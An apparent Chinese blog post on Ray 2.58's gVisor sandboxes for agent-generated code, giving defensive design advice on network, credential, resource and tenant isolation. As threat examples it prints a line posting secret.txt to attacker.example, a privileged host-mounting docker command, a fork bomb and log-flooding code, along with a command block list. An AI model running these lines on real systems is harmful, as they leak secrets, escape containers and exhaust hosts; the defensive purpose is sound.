Ray 2.58沙箱:Agent代码别再直接跑容器

让 Coding Agent 生成一段 Python,然后直接:

docker run ...

看起来已经隔离。

真正危险的是,很多所谓“容器沙箱”同时暴露了:

Docker Socket
Host Mount
过宽Network
长期Credential
共享Kernel

这时候容器只是部署单位,不是安全边界。

Google Cloud 和 Anyscale 8 月 25 日公开了 Ray Sandboxing 的新实现。从 Ray 2.58 开始,Sandbox 可以直接作为 Ray Runtime 里的资源创建,初始实现使用 gVisor:Agent 生成的代码在 gVisor 提供的用户态 Linux 系统调用边界里运行,不需要把 Host Docker Socket 暴露给 Sandbox。

一个最小例子:

import ray
from ray.experimental import sandbox

ray.init()

sb = sandbox.create(
    cpu=1.0,
    memory="512Mi",
    image="python:3.12-slim"
)

result = ray.get(
    sb.exec.remote(
        "python -c 'import sys; print(sys.version)'"
    )
)

print(result.stdout)

这比“Agent拿Docker权限自己起容器”安全得多。

为什么Docker Socket是红线

如果 Sandbox 里能访问:

/var/run/docker.sock

代码就可能:

docker run \
  -v /:/host \
  --privileged \
  ...

然后容器隔离几乎失去意义。

所以 Agent Sandbox 第一条规则:

绝不暴露Host Container Runtime Socket

gVisor 的价值就在于 OCI 兼容,但不要求 Agent 拿到 Host Docker Daemon。

gVisor到底隔离了什么

普通容器:

应用
↓
Linux syscall
↓
Host Kernel

gVisor:

应用
↓
gVisor userspace kernel
↓
受限Host syscall
↓
Host Kernel

它不是 VM,但比普通共享 Kernel Container 提供更强边界。

Agent场景特别需要这种边界

因为执行代码是模型生成的,代码本质上应该默认:

Untrusted

哪怕 Prompt 来自内部员工。

输入还可能包含:

恶意网页
恶意Repo
恶意Issue
Indirect Prompt Injection

所以“这是公司自己的Agent”不能作为信任代码的理由。

Ray把Sandbox做成Actor有一个工程优势

Sandbox 不再是外围独立系统。

它可以被调度器像普通 Ray Resource 一样管理:

Placement
CPU
Memory
Lifecycle
Recovery
Scale

一个 Agent Rollout 需要 100 个 Sandbox 时,不必自己再维护另一套 Scheduler。

创建时必须给资源上限

至少:

sb = sandbox.create(
    cpu=1.0,
    memory="512Mi",
    image="python:3.12-slim"
)

生产还要加:

PID
Disk
Execution Time
Network

一个Sandbox Policy

sandbox:

  cpu: 1
  memory: 512Mi
  disk: 1Gi

  timeout: 120s

  network:
    mode: deny-by-default

  filesystem:
    root: readonly
    workspace: tmpfs

  credentials:
    allowed: none

默认:

No Network
No Credential
Read-only Root

Agent 需要什么再逐步开。

Network一定要默认关闭

模型生成代码最危险的动作之一:

requests.post(
    "https://attacker.example",
    data=open("secret.txt").read()
)

如果 Sandbox 根本不能出网,这条攻击链直接断。

真正需要联网的任务:

下载依赖
访问批准API

通过 Egress Proxy 白名单。

安装依赖也不要直接开放整个互联网

可以使用:

Internal PyPI Mirror
Internal npm Registry

Sandbox 只能访问公司代理源。

这样供应链审计、缓存和版本固定都容易很多。

文件上传和下载要有Artifact边界

Ray Sandbox API 支持:

read
write
upload
download

不要允许 Agent 随意下载整个 Workspace。

最好按 Artifact Manifest:

public record SandboxArtifact(
        String artifactId,
        String sandboxId,
        String path,
        String sha256,
        long sizeBytes,
        DataClass dataClass) {
}

输出先扫描,再允许离开 Sandbox。

什么文件要扫描

至少:

Secret
PII
Malware
Executable
Archive

Coding Agent 生成 patch.diff 风险低。

生成 credentials.zip 应直接拦。

Sandbox也要短生命周期

不要给 Agent 一个永久开发机。

更好:

Run创建
→ Sandbox创建
→ 执行
→ Artifact提取
→ Sandbox销毁

需要 Resume:

用Snapshot或Artifact恢复

而不是保留一台长期机器。

为什么Sandbox Pool又有价值

如果每个小步骤都重新创建,启动成本会高。

Google 给出的示例也展示了本地 Sandbox Pool:

from ray.experimental.sandbox.runtime import SandboxRuntime

self.sandboxes = [
    self.runtime.create(
        image=image,
        memory="512Mi"
    )
    for _ in range(size)
]

适合大量短任务。

但 Pool 复用必须清理状态。

Pool最大的风险:跨任务残留

Task A 写:

/tmp/customer.csv

Task B 复用同一个 Sandbox。

如果没清:

跨任务数据泄漏

所以 Pool 复用必须执行:

Workspace Reset
Credential Reset
Process Cleanup
Network State Reset

最好不同租户不共享 Pool。

Multi-tenant Pool我会直接禁止

Tenant A
Tenant B

不要共用同一 Sandbox 实例。

最低边界:

Sandbox Instance
=
Single Tenant

高风险场景:

Single Run

gVisor的低启动开销为什么重要

Google 公开说明 gVisor Sandbox 可做到亚秒级启动和较低的每 Sandbox 内存开销。

这会改变架构选择。

如果创建一次要 30 秒,团队会倾向尽量复用;如果足够快,就可以做到:

每个Task单独Sandbox

安全和清理复杂度都会下降。

Agent Tool最好不要直接暴露Shell

差:

run_shell(command)

模型可以执行任意命令。

更好:

run_tests()
format_code()
build_project()
apply_patch()

先提供高层 Capability。

只有 Coding Agent 特定阶段才开放通用 Shell。

如果必须Shell,就加Command Policy

例如禁止:

mount
nsenter
ptrace
sudo
docker
kubectl
ssh

但黑名单不是完整安全边界。

真正安全仍依赖 Sandbox。

Command Policy 只是第二层。

超时必须在外部控制

不要相信 Agent 自己会停止死循环。

while true; do :; done

必须由 Runtime 在 120 秒后 Kill。

还要限制Process数量

Fork Bomb:

:(){ :|:& };:

如果 PID 不限制,Sandbox 内也可能把 Node 资源拖死。

所以:

pids.max

必须配置。

日志输出也要限

恶意代码:

while True:
    print("A" * 1000000)

会打爆日志、网络和内存。

需要:

stdout max bytes

例如:

10MB

超过截断。

一个完整Execution Contract

execution:

  image: python:3.12-slim
  cpu: 1
  memory: 512Mi
  pids: 128
  timeout: 120s

  network:
    default: deny

  stdout:
    max_bytes: 10Mi

  artifacts:
    max_total: 50Mi

Sandbox结果也要有Outcome

public enum SandboxOutcome {
    SUCCESS,
    EXIT_NON_ZERO,
    TIMEOUT,
    OOM,
    POLICY_DENIED,
    KILLED,
    INFRA_FAILURE
}

不要全部映射成:

tool failed

Agent 需要知道是代码错还是资源不够。

OOM后不要自动无限加Memory

策略:

第一次OOM
→允许1次扩容

第二次
→停止

并设置 hard maximum。

Sandbox镜像必须固定Digest

不要在可复现环境只写:

python:3.12-slim

更好:

python@sha256:...

否则镜像内容变化,同一个 Run 无法复现。

记录Environment Manifest

{
  "image_digest": "sha256:...",
  "runtime": "gvisor",
  "cpu": 1,
  "memory": "512Mi",
  "network_policy": "deny-v4",
  "artifact_policy": "v7"
}

事故取证时很重要。

什么时候gVisor还不够

如果任务运行:

未知Native Binary
高风险恶意样本
内核研究

更强隔离可以考虑:

MicroVM
Kata
独立VM

安全边界应该和风险匹配。


Ray 2.58 把 Sandbox 变成原生可调度资源,这件事对大规模 Agent/RL 系统很实用。

但真正值得带走的不是某一行 sandbox.create()

而是一个更基础的原则:

模型生成的代码默认就是不可信代码。

所以执行系统不要把 Docker Container 自动等同于安全 Sandbox。

真正需要检查的是:

Kernel Boundary
Docker Socket
Network
Credential
Resource Limit
Artifact
Lifetime
Tenant Isolation

这些边界都明确以后,Agent 才适合真正获得代码执行能力。


更多企业级 AI 应用、Agent、RAG 与模型工程化内容,我会继续整理在 智元界

https://www.zyentor.com/